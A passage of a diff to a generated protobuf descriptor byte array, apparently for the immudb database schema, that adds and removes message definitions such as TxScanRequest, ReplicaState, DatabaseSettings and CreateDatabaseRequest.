0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x11, 0x61, 0x6c, 0x6c, 0x6f, 0x77, 0x50, 0x72, 0x65, 0x43, - 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x12, 0x3f, 0x0a, 0x0c, 0x72, 0x65, 0x70, 0x6c, - 0x69, 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, - 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x52, 0x0c, 0x72, 0x65, 0x70, - 0x6c, 0x69, 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x2e, 0x0a, 0x12, 0x73, 0x6b, 0x69, - 0x70, 0x49, 0x6e, 0x74, 0x65, 0x67, 0x72, 0x69, 0x74, 0x79, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x18, - 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x12, 0x73, 0x6b, 0x69, 0x70, 0x49, 0x6e, 0x74, 0x65, 0x67, - 0x72, 0x69, 0x74, 0x79, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x22, 0xc2, 0x01, 0x0a, 0x0c, 0x52, 0x65, - 0x70, 0x6c, 0x69, 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x55, 0x55, - 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x55, 0x55, 0x49, 0x44, 0x12, 0x24, - 0x0a, 0x0d, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, - 0x54, 0x78, 0x49, 0x44, 0x12, 0x22, 0x0a, 0x0c, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, - 0x64, 0x41, 0x6c, 0x68, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0c, 0x63, 0x6f, 0x6d, 0x6d, - 0x69, 0x74, 0x74, 0x65, 0x64, 0x41, 0x6c, 0x68, 0x12, 0x2a, 0x0a, 0x10, 0x70, 0x72, 0x65, 0x63, - 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, - 0x28, 0x04, 0x52, 0x10, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, - 0x54, 0x78, 0x49, 0x44, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, - 0x74, 0x74, 0x65, 0x64, 0x41, 0x6c, 0x68, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, 0x70, - 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x41, 0x6c, 0x68, 0x22, 0x2e, - 0x0a, 0x08, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x64, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0xc0, - 0x03, 0x0a, 0x10, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, - 0x6e, 0x67, 0x73, 0x12, 0x22, 0x0a, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, - 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, - 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, - 0x63, 0x61, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, - 0x61, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, - 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x70, - 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x20, 0x0a, - 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x05, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x12, - 0x28, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, - 0x6d, 0x65, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, - 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x72, 0x69, - 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x07, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, - 0x6f, 0x72, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x66, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, - 0x08, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x66, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, - 0x1c, 0x0a, 0x09, 0x6d, 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, 0x65, 0x6e, 0x18, 0x09, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x09, 0x6d, 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, 0x65, 0x6e, 0x12, 0x20, 0x0a, - 0x0b, 0x6d, 0x61, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x4c, 0x65, 0x6e, 0x18, 0x0a, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x0b, 0x6d, 0x61, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x4c, 0x65, 0x6e, 0x12, - 0x22, 0x0a, 0x0c, 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, - 0x0b, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, - 0x69, 0x65, 0x73, 0x12, 0x2c, 0x0a, 0x11, 0x65, 0x78, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x43, 0x6f, - 0x6d, 0x6d, 0x69, 0x74, 0x54, 0x69, 0x6d, 0x65, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x08, 0x52, 0x11, - 0x65, 0x78, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x54, 0x69, 0x6d, - 0x65, 0x22, 0x92, 0x01, 0x0a, 0x15, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, - 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, - 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, - 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, - 0x69, 0x6e, 0x67, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x69, 0x66, 0x4e, 0x6f, 0x74, 0x45, 0x78, 0x69, - 0x73, 0x74, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x69, 0x66, 0x4e, 0x6f, 0x74, - 0x45, 0x78, 0x69, 0x73, 0x74, 0x73, 0x22, 0x99, 0x01, 0x0a, 0x16, 0x43, 0x72, 0x65, 0x61, 0x74, - 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, - 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, - 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x26, 0x0a, 0x0e, 0x61, 0x6c, - 0x72, 0x65, 0x61, 0x64, 0x79, 0x45, 0x78, 0x69, 0x73, 0x74, 0x65, 0x64, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x0e, 0x61, 0x6c, 0x72, 0x65, 0x61, 0x64, 0x79, 0x45, 0x78, 0x69, 0x73, 0x74, - 0x65, 0x64, 0x22, 0x78, 0x0a, 0x15, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, - 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, - 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, - 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, 0x79, 0x0a, 0x16, - 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, - 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, - 0x73, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, + 0x22, 0xc7, 0x01, 0x0a, 0x0d, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x69, 0x6e, 0x69, 0x74, 0x69, 0x61, 0x6c, 0x54, 0x78, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x09, 0x69, 0x6e, 0x69, 0x74, 0x69, 0x61, 0x6c, 0x54, 0x78, + 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x3c, 0x0a, 0x0b, 0x65, 0x6e, + 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0b, 0x65, 0x6e, 0x74, + 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, + 0x65, 0x54, 0x78, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, + 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x06, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0x2d, 0x0a, 0x06, 0x54, 0x78, + 0x4c, 0x69, 0x73, 0x74, 0x12, 0x23, 0x0a, 0x03, 0x74, 0x78, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x54, 0x78, 0x52, 0x03, 0x74, 0x78, 0x73, 0x22, 0xc0, 0x01, 0x0a, 0x0f, 0x45, 0x78, + 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x0e, 0x0a, + 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x2c, 0x0a, + 0x11, 0x61, 0x6c, 0x6c, 0x6f, 0x77, 0x50, 0x72, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, + 0x65, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x11, 0x61, 0x6c, 0x6c, 0x6f, 0x77, 0x50, + 0x72, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x12, 0x3f, 0x0a, 0x0c, 0x72, + 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x52, 0x0c, + 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x2e, 0x0a, 0x12, + 0x73, 0x6b, 0x69, 0x70, 0x49, 0x6e, 0x74, 0x65, 0x67, 0x72, 0x69, 0x74, 0x79, 0x43, 0x68, 0x65, + 0x63, 0x6b, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x12, 0x73, 0x6b, 0x69, 0x70, 0x49, 0x6e, + 0x74, 0x65, 0x67, 0x72, 0x69, 0x74, 0x79, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x22, 0xc2, 0x01, 0x0a, + 0x0c, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x12, 0x0a, + 0x04, 0x55, 0x55, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x55, 0x55, 0x49, + 0x44, 0x12, 0x24, 0x0a, 0x0d, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, + 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, + 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x12, 0x22, 0x0a, 0x0c, 0x63, 0x6f, 0x6d, 0x6d, 0x69, + 0x74, 0x74, 0x65, 0x64, 0x41, 0x6c, 0x68, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0c, 0x63, + 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x41, 0x6c, 0x68, 0x12, 0x2a, 0x0a, 0x10, 0x70, + 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x18, + 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x10, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, + 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x72, 0x65, 0x63, 0x6f, + 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x41, 0x6c, 0x68, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, + 0x52, 0x0f, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x41, 0x6c, + 0x68, 0x22, 0x2e, 0x0a, 0x08, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x0a, + 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, + 0x65, 0x22, 0xc0, 0x03, 0x0a, 0x10, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, + 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x22, 0x0a, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x64, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x72, 0x65, + 0x70, 0x6c, 0x69, 0x63, 0x61, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x72, 0x65, 0x70, + 0x6c, 0x69, 0x63, 0x61, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x70, + 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x20, + 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x04, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, + 0x12, 0x20, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x18, + 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, + 0x72, 0x74, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, + 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x70, 0x72, 0x69, + 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x28, 0x0a, 0x0f, + 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, + 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, + 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x66, 0x69, 0x6c, 0x65, 0x53, 0x69, + 0x7a, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x66, 0x69, 0x6c, 0x65, 0x53, 0x69, + 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x6d, 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, 0x65, 0x6e, 0x18, + 0x09, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x6d, 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, 0x65, 0x6e, + 0x12, 0x20, 0x0a, 0x0b, 0x6d, 0x61, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x4c, 0x65, 0x6e, 0x18, + 0x0a, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x6d, 0x61, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x4c, + 0x65, 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x69, + 0x65, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, + 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x2c, 0x0a, 0x11, 0x65, 0x78, 0x63, 0x6c, 0x75, 0x64, + 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x54, 0x69, 0x6d, 0x65, 0x18, 0x0c, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x11, 0x65, 0x78, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, + 0x54, 0x69, 0x6d, 0x65, 0x22, 0x92, 0x01, 0x0a, 0x15, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, + 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, + 0x6d, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, - 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, 0x19, 0x0a, 0x17, 0x44, 0x61, 0x74, 0x61, 0x62, - 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x22, 0x7b, 0x0a, 0x18, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, - 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, + 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x69, 0x66, 0x4e, 0x6f, 0x74, + 0x45, 0x78, 0x69, 0x73, 0x74, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x69, 0x66, + 0x4e, 0x6f, 0x74, 0x45, 0x78, 0x69, 0x73, 0x74, 0x73, 0x22, 0x99, 0x01, 0x0a, 0x16, 0x43, 0x72, + 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, + 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, + 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, + 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x26, 0x0a, + 0x0e, 0x61, 0x6c, 0x72, 0x65, 0x61, 0x64, 0x79, 0x45, 0x78, 0x69, 0x73, 0x74, 0x65, 0x64, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x61, 0x6c, 0x72, 0x65, 0x61, 0x64, 0x79, 0x45, 0x78, + 0x69, 0x73, 0x74, 0x65, 0x64, 